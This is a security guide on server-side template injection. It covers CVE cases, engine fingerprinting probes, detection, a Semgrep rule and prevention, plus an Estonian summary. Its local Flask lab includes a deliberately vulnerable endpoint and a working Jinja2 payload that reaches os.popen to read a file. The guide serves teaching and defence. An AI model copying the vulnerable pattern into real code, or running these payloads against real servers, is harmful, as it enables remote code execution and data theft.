Skip to main content

Server-Side Template Injection (SSTI) Explained: Attack Examples & Prevention

Server-side template injection (SSTI) lets an attacker inject native template syntax into a template that the server then evaluates. It arises when user input is concatenated into the template string instead of being passed in as data, and it routinely escalates to remote code execution (CWE-1336). This guide covers the mechanics, a reproducible local lab, detection, and fixes.

What server-side template injection is and why it keeps mattering

Template engines generate pages by merging a fixed template with volatile data: Jinja2 (Python), Twig (PHP), FreeMarker and Velocity (Java), ERB (Ruby), Mako (Python), and Thymeleaf (Java) are common examples. PortSwigger's definition is the one auditors work from: server-side template injection is when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side. The weakness is CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine), a child of CWE-94 (Improper Control of Generation of Code). At its core it is a code-injection bug, not an output-encoding bug, the same family as SQL injection. OWASP groups it in the injection family (A05:2025 Injection, which maps 37 CWEs).

The class was first documented by PortSwigger Research's James Kettle in 2015 (Black Hat USA, "Server-Side Template Injection: RCE for the Modern Web App"). Before that research, template injection was routinely misread as XSS, CWE's own description notes that XSS-style attacks can obscure the root cause when the developer does not investigate the error closely. The confusion matters because the two have opposite fixes: XSS is fixed by escaping output, while SSTI must be fixed by keeping user input out of template source.

Three real cases show the range: all unauthenticated, all CVSS 9.8, and the two most recent confirmed exploited in the wild via CISA's Known Exploited Vulnerabilities catalog:

IncidentTemplate injection roleOutcome
CVE-2019-16759, vBulletin 5.xTemplate/code injection through the widgetConfig[code] parameter in an ajax/render/widget_php request gives unauthenticated remote code execution.Affects vBulletin 5.x through 5.5.4; CVSS 9.8 with no privileges or user interaction required; NVD publish date 24 September 2019.
CVE-2022-22954, VMware Workspace ONE AccessServer-side template injection in the identity-management appliance leads to remote code execution for any network-reachable actor.CVSS 9.8; exploited in the wild and added to the CISA KEV catalog on 2022-04-14, three days after disclosure.
CVE-2024-4879, ServiceNow Now PlatformJelly template injection in UI macros lets an unauthenticated user execute code within the Now Platform context.CVSS 9.8; publicly exploited in July 2024 across ServiceNow instances and added to the CISA KEV catalog on 2024-07-29.

The pattern across all three: a vendor product with a template/scripting surface that accepted untrusted input as template source, the same trust mistake as deserializing untrusted objects. None of these required a sandbox bypass: the sandbox was absent or the injection point sat outside it.

SSTI attack anatomy: when input becomes template source

  1. 1. Attacker

    Submits input containing template syntax, e.g. {{7*7}}

  2. 2. Application

    Concatenates it into the template string

  3. 3. Template engine

    Compiles the input as template code

  4. 4. Server

    Evaluates the expression, up to remote code execution

SSTI data flow: the bug is the moment user input is concatenated into template source instead of passed as data.

The security boundary is a single conceptual rule: the template is code, the data model is data. Passing user input as a data value is safe. Concatenating user input into the template string makes the user a template author. PortSwigger contrasts the two with Twig:

// Safe: the user's first name is passed in as data.
$output = $twig->createTemplate("Dear {{ first_name }},")->render(["first_name" => $user->first_name]);

// Vulnerable: part of the template itself is built from the GET parameter.
$output = $twig->createTemplate("Dear " . $_GET['name'])->render([]);

The same bug in Python/Flask, the canonical example used by the OWASP Web Security Testing Guide (WSTG-INPV-18), looks like this:

@app.route("/page")
def page():
    name = request.values.get('name')
    output = render_template_string('Hello ' + name + '!')
    return output

Because the engine evaluates template syntax server-side, a request like name={{7*7}} returns Hello 49!, proof the math ran on the server, not in a browser.

Vulnerabilities appear in two contexts, and detection differs for each:

  • Plaintext context: user input is written directly into the template body (the examples above). Test by injecting a math expression in the syntax of each engine and watching for server-side evaluation.
  • Code context: user input is placed inside a template expression rather than in the template body, for example as a user-controllable variable name: engine.render("Hello {{" + greeting + "}}", data). A URL like ?greeting=data.username renders Hello Carlos. This context is easily missed: there is no obvious XSS and it is almost indistinguishable from a hashmap lookup (PortSwigger). Test by first confirming the parameter is not directly XSS-able ( data.username<tag> produces blank, encoded, or errored output), then break out of the statement with common template syntax: data.username}}<tag> rendering Hello Carlos<tag> confirms server- side template injection.

Once an expression evaluates, the attacker has the engine's object model. In unsandboxed engines that commonly means arbitrary file read and remote code execution; in sandboxed ones it may still mean internal-object access, file path traversal, or sensitive data exposure through developer-supplied objects.

Template-engine fingerprinting: first probes by engine

After detecting evaluation, identify the engine. Error messages often give it away directly: submitting <%=foobar%> to a Ruby ERB endpoint returns a NameError that names erb.rb. Otherwise probe with arithmetic in each engine's syntax and disambiguate with a second payload, because one payload can succeed in several languages: {{7*7}} returns 49 in both Twig and Jinja2.

EngineFamilyProbeDistinguishing result
Jinja2Python{{7*7}}{{7*'7'}}7777777 (string repetition)
TwigPHP{{7*7}}{{7*'7'}}49 (PHP coerces to integer)
FreeMarkerJava${7*7}Directives too: <#assign x=7*7>${x} renders 49
VelocityJava#set($x=7*7)$xRenders 49 from the assignment directive
ERBRuby<%= 7*7 %>Renders 49; invalid input raises an erb.rb NameError
MakoPython${7*7}Native code blocks: <% import os %> executes directly in unsandboxed environments
Thymeleaf / SpELJava${T(java.lang.System).getenv()}The T() type operator reaches static Java APIs

The Velocity/FreeMarker rows carry a general lesson from OWASP: expression syntax is not the only surface. Directive syntax ( #set(...), <#assign ...>) stores results instead of printing them, so probes must pair a directive with an interpolation to make the effect observable, and blind payloads should confirm execution with an out-of-band DNS lookup or a measurable delay, since an unchanged response is not evidence that nothing ran.

Reproducible local lab: Jinja2 SSTI to file read

Everything below runs against local containers on your machine, with no live targets and no weaponized payloads. The lab is a Flask app with a vulnerable greeting endpoint, a fixed endpoint, and a flag file. All payloads in this section were verified against Flask 3.1 / Jinja2 3.1 before publishing.

docker-compose.yml

services:
  app:
    build: .
    ports:
      - "8080:8080"

Dockerfile

FROM python:3.12-slim
WORKDIR /app
RUN pip install --no-cache-dir flask==3.1.0 jinja2==3.1.4
RUN echo "flag{local-ssti-verified}" > /flag
COPY app.py .
EXPOSE 8080
CMD ["python", "app.py"]

app.py: vulnerable and fixed endpoints side by side

from flask import Flask, request, render_template_string

app = Flask(__name__)


@app.get("/greet")
def greet():
    """VULNERABLE: user input is concatenated into the template source."""
    name = request.args.get("name", "world")
    return render_template_string("Hello " + name + "!")


@app.get("/greet-fixed")
def greet_fixed():
    """FIXED: template source is constant; user input is passed as data."""
    name = request.args.get("name", "world")
    return render_template_string("Hello {{ name }}!", name=name)


app.run(host="0.0.0.0", port=8080)

Run it and exploit it

docker compose up --build

# 1. Detection — a math expression evaluated server-side proves SSTI.
curl -G 'http://localhost:8080/greet' --data-urlencode 'name={{7*7}}'
# Hello 49!

# 2. Engine identification — string repetition only makes sense to Jinja2.
curl -G 'http://localhost:8080/greet' --data-urlencode "name={{7*'7'}}"
# Hello 7777777!        (Twig would answer 49)

# 3. Exploitation — walk Python objects to os.popen and read the flag file.
curl -G 'http://localhost:8080/greet' --data-urlencode \
  "name={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}"
# Hello flag{local-ssti-verified}!

Step 3 deserves a trace, because this is the part people copy wrong: config is a Flask-provided template global (a flask.config.Config instance) whose class defines __init__ in Python, so __globals__ exists on it and points at the flask.config module namespace, which imports os. From there it is ordinary Python: os.popen('cat /flag').read(). On non-Flask Jinja2 you chain through a different Python-defined global (for example cycler.__init__.__globals__) or walk __subclasses__(). The technique is the same: find any Python function reachable from a template global and read its __globals__.

The fixed endpoint renders the same payload inert: {{7*7}} appears literally as text, because the input is a data value, never parsed as template syntax. Note that autoescaping is not the control that saved it: Flask 3 enables autoescaping for string templates, and the SSTI payload still executed on the vulnerable endpoint with autoescaping active. Autoescaping neutralizes XSS; it does nothing against template evaluation, which is exactly why SSTI gets misread as an encoding problem.

How to detect server-side template injection

Detection is a three-step funnel: find candidate inputs, confirm server-side evaluation, identify the engine.

  • Candidate inputs: any value that is reflected inside a formatted message: personalized emails, greetings, invoice/receipt templates, wiki or CMS pages, marketing builders, error templates, and any feature where a privileged user can edit markup.
  • Fuzz for evaluation: first send a metacharacter sequence such as ${{<%[%'}}%\ and watch for an exception, then probe math expressions per engine (table above). In plaintext context a rendered Hello 49 is proof. OWASP also suggests prefix probes like a{{7*7}} so a false-positive reflection is easy to spot, and reminds testers to cover directive syntax for Velocity/FreeMarker.
  • Confirm the engine: error messages first, then disambiguating payloads ({"{{7*'7'}}" → 49 vs 7777777}), then engine documentation for dangerous built-ins.

Tools that automate detection and exploitation: SSTImap (actively maintained), its unmaintained predecessor Tplmap, and the Backslash Powered Scanner Burp extension; PayloadsAllTheThings maintains the reference payload list. A single Burp Intruder request with the payload list per parameter is the fastest manual sweep.

SAST: Semgrep taint rule template

rules:
  - id: python-flask-ssti-tainted-template
    mode: taint
    message: >
      Request data flows into a template string that is rendered with
      render_template_string. If the data is concatenated into the source,
      this is server-side template injection (CWE-1336). Pass it as a
      context variable instead.
    severity: ERROR
    languages: [python]
    pattern-sources:
      - pattern: request.$ARG
      - pattern: request.values.get(...)
      - pattern: request.args.get(...)
      - pattern: request.form.get(...)
      - pattern: request.json.get(...)
    pattern-sinks:
      - pattern: render_template_string(...)
      - pattern: from_string(...)

This is a starting rule, not a finished policy: it flags any request data reaching render_template_string, which is the right failure mode for a codebase audit (that sink should never receive request data at all). Tune the source list to your framework and add sinks per language: Java FreeMarker/Thymeleaf, PHP Twig, Ruby ERB each need their own sink list. A cheap complement is a repo-wide grep audit for template-string sinks fed by concatenation: render_template_string(, env.from_string(, Template( + + operator, $twig->render( with a non-literal first argument.

How to prevent server-side template injection

The fix is structural, not a filter: user input must never become template source. Every other control is defense in depth.

  • Keep templates static; pass data via the context. The fixed endpoint in the lab is the whole pattern: render_template_string("Hello {{ name }}", name=name). The same shape applies in every engine: Twig's data-array render, Java template processing with a data model, ERB with binding locals.
  • Treat template selection as code too. If the application picks a template by name from user input, an attacker can reach templates they were never meant to load. Resolve names through an allowlist map, never through a user-supplied path or name.
  • A sandbox is not a security boundary. Jinja2's SandboxedEnvironment intercepts attribute access (it raises SecurityError on {{ func.__code__ }}), but the documentation is explicit that the sandbox alone is not a solution for perfect security, and recommends resource limits plus passing only the data relevant to the template. FreeMarker's guidance for untrusted templates is the same philosophy from the Java side: control the object wrapper and member access policy centrally, keep ?api disabled, and restrict the new built-in. Sandboxes raise the bar; they do not make user-authored-template features safe by themselves.
  • Treat templates as source code. FreeMarker's documentation is blunt: do not allow untrusted users to upload templates at all, unless those users are application developers or system administrators. Templates are part of the source code, like *.java files. Any feature that lets a non-admin submit template markup is a design-level SSTI risk.
  • Escape output, but do not confuse escaping with the fix. Autoescaping (Jinja2/Twig on by default for HTML templates, FreeMarker 2.3.24+) prevents the XSS half of the bug, and a strict Content-Security-Policy limits it further. Neither prevents template evaluation, so a template-injection sink stays an RCE sink even with perfect escaping.
  • Keep engines patched and audit the documentation's security sections. PortSwigger's methodology for both attack and audit starts with the engine's own documentation, which usually lists the dangerous built-ins, and that list doubles as a checklist of what to forbid or review in your own templates.

SSTI prevention checklist

CheckHow to verify
No user input is concatenated into template sourceSemgrep taint rule in CI (template above); grep audit for render_template_string / from_string / Template() fed by request data
User-controlled template names/selection resolved via allowlist onlyCode review of every dynamic template lookup; no request value reaches the loader
No untrusted users can author or upload templatesFeature review: template-editing surfaces restricted to trusted roles; rendered markup never re-parsed as template source
Autoescaping enabled for the output contextEngine config review (Flask file/string defaults, Twig autoescape, FreeMarker auto-escaping); XSS test with <b>x</b> input
Sandboxed/restricted environments used only with a threat model, never as the sole controlConfirm resource limits and minimal data-model exposure (Jinja2 sandbox docs, FreeMarker object wrapper / member access policy)
Engine versions current; security advisories monitoredDependency scan; engine changelogs reviewed for sandbox/bypass fixes
QA sweeps user-markup features with SSTI payloads before releaseRegression test: probe every message/template feature with {{7*7}}, ${7*7}, <%= 7*7 %>; assert literal output

Key takeaways

  • SSTI happens when user input is concatenated into a template instead of passed as data; the attacker becomes a template author and the server evaluates their payload (CWE-1336, child of CWE-94).
  • Impact is routinely catastrophic: vBulletin (2019, template/code injection, CVSS 9.8), VMware Workspace ONE Access (2022, SSTI to RCE) and ServiceNow (2024, Jelly template injection) were all unauthenticated and CVSS 9.8, and the two most recent are confirmed exploited in the wild in CISA's KEV catalog.
  • Detection is math: {{7*7}}49 server-side proves evaluation; {{7*'7'}} (7777777 vs 49) fingerprints Jinja2 vs Twig. Cover directive syntax and code context, and treat unchanged responses as inconclusive, not clean.
  • The fix is structural: static template source, user input as data, allowlisted template selection, no untrusted template authors. Autoescaping stops XSS but never stops template evaluation, and a sandbox is defense in depth, not a boundary.
  • SSTI is regularly misdiagnosed as XSS. The tell is server-side evaluation of native template syntax, so test for it explicitly on every user-markup feature.

Frequently asked questions

What is server-side template injection (SSTI)?
SSTI (CWE-1336) happens when user input is concatenated into a template's source instead of being passed to it as data. The attacker's input becomes template code, and the server evaluates it, which in most engines leads to remote code execution.
How do you test for SSTI?
Submit a template expression such as {{7*7}} and look for 49 in the response: server-side evaluation proves injection. A follow-up such as {{7*'7'}} fingerprints the engine: Jinja2 returns 7777777, Twig returns 49. Unchanged output is inconclusive, not proof the endpoint is clean.
Does autoescaping prevent SSTI?
No. Autoescaping stops the XSS half of the bug but never stops template evaluation, so an injection sink stays a code-execution sink even with perfect escaping. Template sandboxes are defense in depth, not a security boundary.
How do you fix SSTI?
Keep template source static and pass user input only through the template context, resolve template names through an allowlist, and never let untrusted users author templates. Filtering payloads is not a fix.

Kokkuvõte eesti keeles

Server-side template injection (SSTI) on veebirakenduse nõrkus, kus ründaja sisestab templiidimootori enda süntaksi (näiteks {{7*7}}) rakenduse templiidi sisse ning server arvutab selle täisõigusega käivitades. Põhjus on peaaegu alati sama: kasutaja sisend liidetakse templiidi lähtekoodi külge (näiteks render_template_string("Hello " + name)) selle asemel, et anda see edasi andmena. Nii saab ründaja täita suvalist koodi: lugeda faile või käivitada käske serveris (CWE-1336). Reaalseid juhtumeid on palju: vBulletin 2019, VMware Workspace ONE 2022 ja ServiceNow 2024, kõik autentimiseta, CVSS 9.8 ja CISA KEV nimekirjas. Parandus on struktuurne: templiit peab olema staatiline lähtekood, kasutaja sisend antakse edasi ainult andmena, kasutaja valitud templiidinimed lubatakse ainult nimekirja kaudu ning templiite ei tohi lasta koostada volitamata kasutajatel. Automaatne väljundi eskapeerimine (autoescape) kaitseb XSS-i eest, kuid ei peata templiidi täitmist, seepärast ei tohi seda SSTI parandusena käsitleda. Täielik laborikäik ja koodinäited on ülal inglise keeles.

Sources

Related Guides

All security guides by attack family